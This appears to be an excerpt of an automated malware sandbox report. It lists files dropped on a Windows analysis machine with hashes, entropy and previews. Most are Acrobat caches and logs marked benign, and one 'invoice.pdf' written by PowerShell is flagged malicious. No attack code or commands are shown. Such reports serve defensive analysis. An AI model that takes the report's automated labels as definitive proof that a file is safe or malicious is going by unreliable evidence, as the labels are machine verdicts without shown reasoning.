Entropy (8bit):	5.247223967681698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfshHHrPeUkwRe9:YvXKXLNyYpW7inGUUUkee9
MD5:	4811866610DB742A39828AA340B3857E
SHA1:	8D22AB8030F085CD0DA6D993CC883CA3E08E4199
SHA-256:	C2E829644349476F208B72049827B73B2F82C37AE5E5CEA3A070B03C74CA55E4
SHA-512:	7303B9CFF46146083931DF3636ED8D3FE88E1A476129852277B08B7848F9E0FE4325A20A1640C78C13E22A93465D7F4D320C5195690B1B31F381B76CB675E425
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255020696003857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJTqgFCrPeUkwRe9:YvXKXLNyYpW7inGTq16Ukee9
MD5:	6E6B18848E9CF8AEDF067DA31DABA8B1
SHA1:	34A6D9FFC0F0539CE317552EFF4B425E7306A8DF
SHA-256:	FB3174A5AE6E77EE561F13BEA235044ECA330FD201DB8F07B6F3EF8492E81611
SHA-512:	1C1DBF829C462606A83240C65586125F264DBA73DEE0247F4A6A67A4A82F4DC95ADE5B773A38217BE4063E107540257945C3C8DFAA2951ED5989548DAFFDA15B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142932767379696
Encrypted:	false
SSDEEP:	48:Yp9Q9DebFArdxo4o3OODmByeHa86TZ/Sc0KseYR9Ph:IQ9DehA5xpo3OODmBL2UtKsNPh
MD5:	849CAB5ECA97DC7AEC64761ED652F67F
SHA1:	4BFDF17F9807B629B9D2C71F828D7F03A503FFE4
SHA-256:	0DA2A632EFCC4F3F60BA8620B493BE1C362C964EB9B9878BD617AED7C19473C2
SHA-512:	F43697C122B19124CC84BBF8558242E726301C6F1950F160CFFE2D61C12C0D7A8D502DCB66D34B1154FF539E743DCE0BE839625E77F675113CE31FA56D9C7F0C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"63b935f695d95b040030af5db0955e35","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548710000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0003394c30ee1e63ad2db13c4c0356cb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548710000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"182f41cc40b5c8d014fd45a313b8a496","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548710000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c9f53459bba7bd72a657b853287ac7be","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548710000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9bc97ad2275568cd73807164e5902b38","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548710000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"03346a9e7cdfe56ea1d864a9081954fa","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9851819236829231
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sptf4zJwtNBwtNbRZ6bRZ4kfF:TVl2GL7ms6ggOVpSzutYtp6Pt
MD5:	9D05ED9DCB4F3F6F2D6514714C925E58
SHA1:	EED1F0F8E3B8C9998275022362A27C33660F6137
SHA-256:	780942A3A63C12F48F35756B9E6EAF1C1C2002E3E8C4CF8131EE0EE1C11931E6
SHA-512:	AA764749EE06CF0F07C13AC884DFE33236CD71DC041D587211B6ECAE154D5EFAC41A4D1EF6088E4275DA04AC765B285CC6167B9692D8BCCC56EE1D3145EE5AF2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3373598493301653
Encrypted:	false
SSDEEP:	24:7+tGAD1RZKHs/Ds/SptfPzJwtNBwtNbRZ6bRZWf1RZKuqLBx/XYKQvGJF7urs2:7MGGgOVpJzutYtp6PMvqll2GL7ms2
MD5:	D89A19DB148B8A73C99EE3A682A5C5E6
SHA1:	C944DC12B7BDE317C29BA39ECDBA570919675282
SHA-256:	037BB25D6660023D080DBCD030F36D27D48FCDF149C302D997B007958CB404BD
SHA-512:	7B9D6A9A2FD795C57FD4F84468E36432EFBB560B6DF84D24FD6E7CBC7A59C53A80CBE319D4089402492639D98091A456E50ACBFA9896F736D36D8D100D0291D8
Malicious:	false
Preview:	.... .c.....Si........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgG9BpWy55LwjkM56SpdApe5UHSYyu:6a6TZ44ADEG9j55LwV5/dAI3K
MD5:	647E45A9DE53696CA376AB1C93EE9E61
SHA1:	067306D7418BF67F6AA3DDE3E7C33791B9C888FA
SHA-256:	95394EC91A1A7107E63B0C1E0E9C17826CD4B246160B10AD5558F91999A31701
SHA-512:	C75A6B8A53FF41A6560A482259729F947E4E460F550A7A2F418D5A29F545E51300E0ADBF7025534B984FD64BCB0991F8154F0A339C1B7FB26014CACB5A34432A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIaf05.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEzNWl1flH:Qw946cPbiOxDlbYnuRK+bDJi1flH
MD5:	4E1DDBFFA0775308EBB57D364C962DCA
SHA1:	4C4B8483E946A8C691EBB685FBB48FA0387B360C
SHA-256:	EBFAAA595E10AC047891BE4821B823EB1F1B09F149EBA5D995A4B846A0153ECD
SHA-512:	9AB83F2CFD26BA7DC880D608D13487B5EF3AA84C0E6573A03E4648A459D1780C32FD3277430FF04A7AB1A4032D0210315290A2E2A04584FFFCB2198EFA2DE963
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.8.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2n30155f.yhb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygghezmi.21i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-38-25-319.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.324377873135255
Encrypted:	false
SSDEEP:	384:G8zW1WuWdW/WUW/rWMW1WTWUW6WXhGhKhEqoqlqhq6rXrrx7NA7C6JVvVHV1IJJM:Ge4p4odgrhmOnRQQ02NUMfDh5A2KRNzZ
MD5:	FD4E46267A8388E85FDB8CE70FA740B0
SHA1:	F8FEA1C5EFC1E4846B441703466001837FF98B0A
SHA-256:	733DA2CB191FEA8E5E0A3CFAD79A3EE6AB4E49204018EEACAA626E3D448C502F
SHA-512:	FE693797B7E6675D6DD6E6B002CDB7018FB32BA06D1CC6FAB6B0DBDDCB2CE4978AA8537FED032F9CBAA9258736D5BA7630989ED09D8D0ABF9099EF6921659C20
Malicious:	false
Preview:	SessionID=4d81fade-7a28-41dc-b525-df3077e0ec50.1736548705332 Timestamp=2025-01-10T17:38:25:332-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4d81fade-7a28-41dc-b525-df3077e0ec50.1736548705332 Timestamp=2025-01-10T17:38:25:334-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4d81fade-7a28-41dc-b525-df3077e0ec50.1736548705332 Timestamp=2025-01-10T17:38:25:334-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4d81fade-7a28-41dc-b525-df3077e0ec50.1736548705332 Timestamp=2025-01-10T17:38:25:334-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4d81fade-7a28-41dc-b525-df3077e0ec50.1736548705332 Timestamp=2025-01-10T17:38:25:334-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39631056911481
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbN:Ss
MD5:	03ED62E35523F2F629CB9CD25BA3C1DA
SHA1:	C60777606F96D85789D627288D13646BB5FC84DE
SHA-256:	6F255E2ED6551B16614E8C4EB7A9B946B2A4BFDABE4C7A8BCDD0ECC0D552C505
SHA-512:	17888553C2AE4E945BCC3F8F2E37A2EA682352A2546E6F1B3A05371F0643D8E6B23C3DB785C320FC7C07AFAB3EB52201AC35FD5737B4EC49EB221B96B011CE27
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\41f82e75-1b5b-407a-894b-8cc4903cd71f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgwYIGNPZGZTodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgwZGzGZ83mlind9i4ufFXpAXkru
MD5:	2E1684873DA3FF59BF473986110772D3
SHA1:	5170C9D90CEA4F3795BCCF3BE2CADF5FEC2D219D
SHA-256:	3CFDDA319E9A83A629598D9981A0CD363915C119AEA0DE5CCE6AE8E759FB450E
SHA-512:	C8759808DC4973C982E9284F25C7A39A2CB8AAA53E9F3BC921D0D90EBF9BE4160A58E91D246E4B02BFAA1615186835F00155E021BE461A9B88DCF41235D274CD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\476c3af4-7621-462e-92d3-af022ea31040.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\57ffa52f-9d53-4088-8fc6-326f096beb3c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\98323ac4-d45e-46e5-814f-94a3446bd56e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
